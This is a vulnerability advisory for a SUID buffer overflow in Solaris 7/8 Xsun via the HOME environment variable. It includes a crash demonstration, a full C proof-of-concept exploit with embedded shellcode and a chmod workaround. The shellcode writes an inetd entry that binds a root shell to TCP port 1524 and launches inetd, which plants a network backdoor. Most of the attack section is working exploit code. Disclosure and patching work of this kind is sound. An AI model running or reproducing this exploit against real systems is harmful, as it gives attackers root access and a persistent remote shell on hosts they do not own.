COMMAND
Xsun
SYSTEMS AFFECTED
Solaris 7/8 (x86 and sparc)
PROBLEM
eEye Digital Security (Riley Hassell) found following. A buffer
overflow was discovered in Xsun. Since Xsun is SUID root,
exploiting this vulnerability yields root privileges. The
overflow exists in Xsun's handling of the HOME environment
variable.
bash-2.03$ HOME=`perl -e 'print "A"x1050'`
bash-2.03$ /usr/openwin/bin/Xsun :1
Warning: There is no XDISPLAY information for display 1.
Server is using XDISPLAY information for display 0.
Default Font Path: /usr/openwin/lib/X11/
Segmentation Fault (core dumped)
Proof of Concept:
/***********************************/
Solaris 7 (x86) /usr/openwin/bin/Xsun
HOME environment overflow
Proof of Concept Exploitation
riley@eeye.com
Puts a Root shell on local port 1524
/***********************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFLEN 1041
/* seteuid/setuid/inetd shell */
char eyecode[] =
"\xeb\x51\x9a\x65\x65\x79\x65\x07\x90\xc3\x5e"
"\x29\xc0\x89\x46\xab\x88\x46\xb0\x89\x46\x0c"
"\x50\xb0\x8d\xe8\xe4\xff\xff\xff\x29\xc0\x50"
"\xb0\x17\xe8\xda\xff\xff\xff\x29\xc0\x88\x46"
"\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56"
"\x8d\x5e\x10\x89\x1e\x53\x8d\x5e\x18\x89\x5e"
"\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xb2"
"\xff\xff\xff\x90\x90\xc3\xe8\xb2\xff\xff\xff"
"\x90\x6b\x61\x6d\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x2f\x62\x69\x6e\x2f\x73"
"\x68\x20\x2d\x63\x20"
"echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/eeye;"
"/usr/sbin/inetd -s /tmp/eeye2001";
char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;
unsigned long int get_esp()
{__asm__("movl %esp,%eax");}
int main (int argc, char *argv[])
{
int i;
if (argc > 1)
offset = strtol(argv[1], NULL, 0);
else
offset = -200;
esp = get_esp();
memset(buf, 0x90, BUFLEN);
memcpy(buf+800, eyecode, strlen(eyecode));
*((int *) &buf[1037]) = esp+offset;
strncpy(&buf[0],"HOME=",5);
putenv(buf);
execl("/usr/openwin/bin/Xsun", "eEye", ":1",NULL);
return;
}
The correct information is:
Solaris 7 and Solaris 8 x86 Xsun is suid
Solaris 7 and Solaris 8 Sparc Xsun is sgid
SOLUTION
Sun Microsystems has been contacted. They are currently working
on patches for this and other related vulnerabilities eEye has
discovered.
Workaround:
chmod -s /usr/openwin/bin/Xsun
This will remove the setuid bit from Xsun, therefore if someone
does exploit this vulnerability, they won't gain higher
privileges.
Xsun is set-uid root on Solaris/Intel where it needs it for
certain device drivers. Xsun is set-gid sys on Solaris/SPARC.
If you run Xsun through dtlogin, you can safely strip the set-uid
bits.